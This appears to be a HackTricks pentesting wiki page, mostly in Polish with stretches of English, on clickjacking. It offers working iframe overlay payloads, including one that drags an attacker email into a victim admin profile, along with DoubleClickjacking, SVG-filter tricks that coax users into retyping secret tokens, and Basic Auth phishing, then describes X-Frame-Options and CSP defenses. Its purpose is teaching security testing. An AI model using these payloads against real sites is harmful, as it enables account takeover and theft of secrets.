Clickjacking
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Co to jest Clickjacking
W ataku clickjacking użytkownik jest oszukiwany, aby kliknął w element na stronie, który jest albo niewidoczny, albo podszyty pod inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobranie malware, przekierowanie na złośliwe strony, ujawnienie poświadczeń lub wrażliwych informacji, przelewy pieniężne lub zakupy online.
Sztuczka — wstępne wypełnianie formularzy
Czasami możliwe jest wypełnienie wartości pól formularza przy użyciu parametrów GET podczas ładowania strony. Atakujący może wykorzystać to zachowanie do wypełnienia formularza dowolnymi danymi i wysłania clickjacking payload, tak aby użytkownik nacisnął przycisk Submit.
Wypełnianie formularza przez Drag&Drop
Jeśli potrzebujesz, aby użytkownik wypełnił formularz, ale nie chcesz bezpośrednio prosić go o wpisanie konkretnych informacji (np. emaila lub konkretnego hasła, które znasz), możesz poprosić go po prostu o Drag&Drop czegoś, co wprowadzi kontrolowane przez ciebie dane — jak w tym przykładzie.
Podstawowy Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Wieloetapowy Payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Przeciągnij i upuść + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
Jeśli zidentyfikowałeś XSS attack that requires a user to click na jakimś elemencie, aby je trigger i strona jest vulnerable to clickjacking, możesz to wykorzystać, aby podstawić użytkownika do kliknięcia przycisku/linku.
Przykład:
Znalazłeś self XSS w pewnych prywatnych danych konta (dane, które only you can set and read). Strona z form do ustawiania tych danych jest podatna na Clickjacking i możesz prepopulate tę form za pomocą GET parameters.
Atakujący mógłby przygotować atak Clickjacking na tę stronę, prepopulating form ładunkiem XSS payload i tricking user aby kliknął przycisk Submit formularza. Tak więc, when the form is submitted i wartości zostaną zmodyfikowane, user will execute the XSS.
DoubleClickjacking
Po raz pierwszy wyjaśnione w tym poście, technika ta polega na nakłonieniu ofiary do podwójnego kliknięcia przycisku na niestandardowej stronie umieszczonej w konkretnym miejscu, oraz na wykorzystaniu różnic czasowych między zdarzeniami mousedown i onclick, aby podczas podwójnego kliknięcia załadować stronę ofiary, tak że victim actually clicks a legit button in the victim page.
Przykład można zobaczyć w tym wideo: https://www.youtube.com/watch?v=4rGvRRMrD18
Przykład kodu można znaleźć na this page.
Warning
Ta technika pozwala oszukać użytkownika, by kliknął w jedno miejsce na stronie ofiary, omijając wszystkie zabezpieczenia przeciwko clickjacking. Dlatego atakujący musi znaleźć sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions.
Popup-based DoubleClickjacking (no iframes)
Niektóre PoCs całkowicie rezygnują z iframes i utrzymują background popup wyrównany pod kursorem. Strona atakującego śledzi mousemove i używa małego popupu (window.open), który jest przesuwany za pomocą moveTo() gdy jest same-origin; po wyrównaniu jest przekierowywany z powrotem do target origin, tak aby następne kliknięcie trafiło w prawdziwy przycisk. Ponieważ cross‑origin moveTo() jest zablokowane, popup jest krótko nawigowany do originu atakującego w celu repozycjonowania, następnie location/history.back() wraca do target. Aby odsłonić target w momencie kliknięcia, atakujący może ponownie otworzyć popup with the same window name aby przywrócić go na pierwszy plan bez zmiany URL.
<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>
SVG Filters / Cross-Origin Iframe UI Redressing
Nowe wersje Chromium/WebKit/Gecko pozwalają, aby CSS filter:url(#id) był stosowany do cross-origin iframe’ów. Zrasteryzowane piksele iframe’a są udostępniane grafowi filtrów SVG jako SourceGraphic, więc prymitywy takie jak feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology itd. mogą dowolnie zniekształcać UI ofiary zanim użytkownik go zobaczy, nawet jeśli atakujący nigdy nie dotyka DOM. A simple Liquid-Glass style filter looks like:
<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
- Przydatne prymitywy:
feImageładuje bitmapy atakującego (np. nakładki, mapy przemieszczeń);feFloodbuduje jednokolorowe maty;feOffset/feGaussianBlurwygładzają i dopracowują podświetlenia;feDisplacementMapzałamuje/zniekształca tekst;feComposite operator="arithmetic"implementuje dowolne operacje matematyczne na kanałach (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), co wystarcza do zwiększania kontrastu, maskowania oraz operacji AND/OR;feTileprzycina i replikuje sondy pikselowe;feMorphologypowiększa/zmniejsza obrysy;feColorMatrixprzenosi luma do alfa, by zbudować precyzyjne maski.
Zniekształcanie sekretów w wyświetlenia w stylu CAPTCHA
Jeśli framowalny endpoint renderuje sekrety (tokeny, kody resetujące, klucze API), atakujący może je zniekształcić tak, aby przypominały CAPTCHA i wymusić ręczne przepisanie:
<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
Zniekształcone piksele oszukują użytkownika, zmuszając go do „rozwiązania” captcha wewnątrz kontrolowanego przez atakującego <input>, którego pattern wymusza prawdziwy sekret ofiary.
Rekontekstualizacja wejść ofiary
Filtry mogą chirurgicznie usuwać tekst pomocniczy/walidacyjny, zachowując jednocześnie naciśnięcia klawiszy użytkownika. Jeden przebieg:
feComposite operator="arithmetic" k2≈4wzmacnia jasność, przez co szary tekst pomocniczy staje się biały.feTileogranicza obszar roboczy do prostokąta inputa.feMorphology operator="erode"pogrubia ciemne glify wpisane przez ofiarę i zapisuje je przezresult="thick".feFloodtworzy białą płytę,feBlend mode="difference"zthick, a drugifeComposite k2≈100zamienia to w ostrą luma matte.feColorMatrixprzenosi tę luma do kanału alfa, afeComposite in="SourceGraphic" operator="in"zachowuje tylko glify wpisane przez użytkownika.- Kolejne
feBlend in2="white"plus cienkie przycięcie daje czyste pole tekstowe, po czym atakujący nakłada własne etykiety HTML (np. „Enter your email”), podczas gdy ukryty iframe nadal egzekwuje politykę haseł originu ofiary.
Safari ma problemy z feTile; ten sam efekt można odtworzyć za pomocą spatial mattes zbudowanych z feFlood + feColorMatrix + feComposite dla WebKit-only payloads.
Sondy pikseli, logika i maszyny stanów
Przy przycięciu regionu 2–4 px za pomocą feTile i kafelkowaniu go do 100% viewportu, atakujący przekształca próbkowany kolor w teksturę na cały ekran, którą można poddać progowaniu, otrzymując boolean mask:
<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>
Dla dowolnych kolorów referencja feFlood (np. #0B57D0) plus feBlend mode="difference" i dodatkowy arithmetic composite (k2≈100, k4 jako tolerancja) zwraca biały tylko wtedy, gdy badany piksel pasuje do docelowego odcienia. Przekazanie tych masek do feComposite ze skalibrowanymi k1..k4 daje bramki logiczne: AND przez k1=1, OR przez k2=k3=1, XOR przez feBlend mode="difference", NOT przez blendowanie z bielą. Łączenie bramek tworzy pełny sumator wewnątrz grafu filtrów, co dowodzi, że pipeline jest funkcyjnie kompletny.
W związku z tym atakujący mogą odczytywać stan UI bez JavaScriptu. Przykładowe wartości boolean z modalnego workflow:
- D (dialog visible): zbadanie przyciemnionego rogu i porównanie z bielą.
- L (dialog loaded): sprawdź współrzędne, gdzie pojawia się przycisk po załadowaniu.
- C (checkbox checked): porównaj piksel pola wyboru z aktywnym niebieskim
#0B57D0. - R (red success/failure banner): użyj
feMorphologyi progów czerwieni wewnątrz prostokąta banera.
Każdy wykryty stan steruje inną nakładką bitmapową osadzoną przez feImage xlink:href="data:...". Maskowanie tych bitmap za pomocą D, L, C, R utrzymuje nakładki zsynchronizowane z rzeczywistym dialogiem i prowadzi ofiarę przez wieloetapowe workflowy (resety haseł, zatwierdzenia, destrukcyjne potwierdzenia) bez ujawniania DOM.
Sandboxed iframe Basic Auth dialog (no allow-popups)
Sandboxed iframe bez allow-popups może nadal wywołać kontrolowane przez przeglądarkę HTTP Basic Authentication modal, gdy żądanie zwraca 401 z WWW-Authenticate. Okno modalne jest tworzone przez warstwę sieciową/autoryzacyjną przeglądarki (nie przez JS alert/prompt/confirm), więc ograniczenia popupów w sandboxie nie je stłumią. Jeśli możesz wykonywać skrypty w iframe (np. sandbox="allow-scripts"), możesz nawigować go do dowolnego endpointa wydającego wyzwanie Basic Auth:
<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>
Gdy odpowiedź nadejdzie, przeglądarka poprosi o poświadczenia, mimo że pop-upy są zabronione. Oframowanie zaufanego originu tym trikiem umożliwia UI redress/phishing: nieoczekiwane modalne monity wewnątrz “sandboxed” widgetu mogą zdezorientować użytkowników lub spowodować, że password managers zaoferują zapisane poświadczenia.
Rozszerzenia przeglądarki: DOM-based autofill clickjacking
Oprócz iframowania stron ofiar, atakujący mogą celować w elementy UI rozszerzeń przeglądarki, które są wstrzykiwane na stronę. Password managers renderują autofill dropdowny w pobliżu fokusowanych inputów; ustawiając fokus na polu kontrolowanym przez atakującego i ukrywając/zasłaniając dropdown rozszerzenia (triki z opacity/overlay/top-layer), wymuszony klik użytkownika może wybrać zapisany element i wypełnić wrażliwe dane w polach kontrolowanych przez atakującego. Ten wariant nie wymaga ekspozycji iframe i działa w całości przez manipulację DOM/CSS.
A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where XSS on the relying-party domain allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection.
- For concrete techniques and PoCs see: BrowExt - ClickJacking
Strategies to Mitigate Clickjacking
Obrona po stronie klienta
Skrypty wykonywane po stronie klienta mogą podejmować działania zapobiegające Clickjacking:
- Upewnienie się, że okno aplikacji jest głównym lub top window.
- Sprawdzenie, by wszystkie frames były widoczne.
- Zapobieganie kliknięciom w niewidoczne frames.
- Wykrywanie i ostrzeganie użytkowników o potencjalnych próbach Clickjacking.
Jednak te skrypty typu frame-busting można obejść:
- Ustawienia bezpieczeństwa przeglądarek: Niektóre przeglądarki mogą blokować te skrypty w zależności od ustawień bezpieczeństwa lub braku wsparcia dla JavaScript.
- HTML5 iframe
sandboxAttribute: Atakujący może zneutralizować skrypty frame buster, ustawiając atrybutsandboxz wartościamiallow-formsluballow-scriptsbezallow-top-navigation. To uniemożliwia iframe sprawdzenie, czy jest top window, e.g.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
Wartości allow-forms i allow-scripts umożliwiają wykonywanie akcji wewnątrz iframe przy jednoczesnym zablokowaniu nawigacji najwyższego poziomu. Aby zapewnić zamierzoną funkcjonalność atakowanej strony, w zależności od typu ataku mogą być potrzebne dodatkowe uprawnienia, takie jak allow-same-origin i allow-modals. Komunikaty w konsoli przeglądarki mogą wskazać, które uprawnienia należy umożliwić.
Obrona po stronie serwera
X-Frame-Options
The X-Frame-Options HTTP response header informuje przeglądarki o tym, czy strona może być renderowana w <frame> lub <iframe>, pomagając zapobiegać Clickjacking:
X-Frame-Options: deny- Żadna domena nie może osadzić zawartości w ramce.X-Frame-Options: sameorigin- Tylko ta sama strona może osadzić zawartość.X-Frame-Options: allow-from https://trusted.com- Tylko określony ‘uri’ może osadzić stronę.- Zwróć uwagę na ograniczenia: jeśli przeglądarka nie obsługuje tej dyrektywy, może ona nie działać. Niektóre przeglądarki preferują dyrektywę frame-ancestors w CSP.
Content Security Policy (CSP) frame-ancestors directive
frame-ancestors directive in CSP jest zalecaną metodą ochrony przed Clickjacking:
frame-ancestors 'none'- Podobne doX-Frame-Options: deny.frame-ancestors 'self'- Podobne doX-Frame-Options: sameorigin.frame-ancestors trusted.com- Podobne doX-Frame-Options: allow-from.
For instance, the following CSP only allows framing from the same domain:
Content-Security-Policy: frame-ancestors 'self';
Further details and complex examples can be found in the frame-ancestors CSP documentation and Mozilla’s CSP frame-ancestors documentation.
Content Security Policy (CSP) with child-src and frame-src
Content Security Policy (CSP) jest środkiem bezpieczeństwa, który pomaga zapobiegać Clickjacking i innym atakom polegającym na wstrzyknięciu kodu, poprzez określanie, które źródła przeglądarka powinna zezwalać na ładowanie treści.
frame-src Directive
- Określa dozwolone źródła dla frame’ów.
- Bardziej szczegółowa niż dyrektywa
default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Ta polityka zezwala na ramki z tego samego źródła (self) oraz z https://trusted-website.com.
child-src Dyrektywa
- Wprowadzona w CSP level 2 w celu określenia dozwolonych źródeł dla web workers i ramek.
- Działa jako fallback dla
frame-srciworker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Ta polityka zezwala na frames i workers z tego samego origin (self) oraz https://trusted-website.com.
Uwagi dotyczące użycia:
- Wycofywanie: child-src jest stopniowo wycofywane na rzecz frame-src i worker-src.
- Zachowanie zapasowe: Jeśli frame-src jest nieobecne, child-src jest używane jako zapasowe dla frames. Jeśli oba są nieobecne, używane jest default-src.
- Ścisłe definiowanie źródeł: Uwzględniaj tylko zaufane źródła w dyrektywach, aby zapobiec wykorzystaniu.
Skrypty JavaScript typu frame-busting
Chociaż nie są całkowicie niezawodne, skrypty JavaScript typu frame-busting można użyć, aby zapobiec osadzeniu strony w ramce. Przykład:
if (top !== self) {
top.location = self.location
}
Stosowanie Anti-CSRF Tokens
- Weryfikacja tokena: Używaj anti-CSRF tokens w aplikacjach webowych, aby upewnić się, że żądania zmieniające stan są wykonywane świadomie przez użytkownika, a nie przez Clickjacked page.
Źródła
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
- SVG Filters - Clickjacking 2.0
- Iframe sandbox Basic Auth modal
- Chromestatus: Restrict sandboxed frame dialogs
- Chromium issue about sandboxed auth dialogs
- DoubleClickjacking PoC details (evil.blog)
- Dashlane passkey dialog clickjacking advisory
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


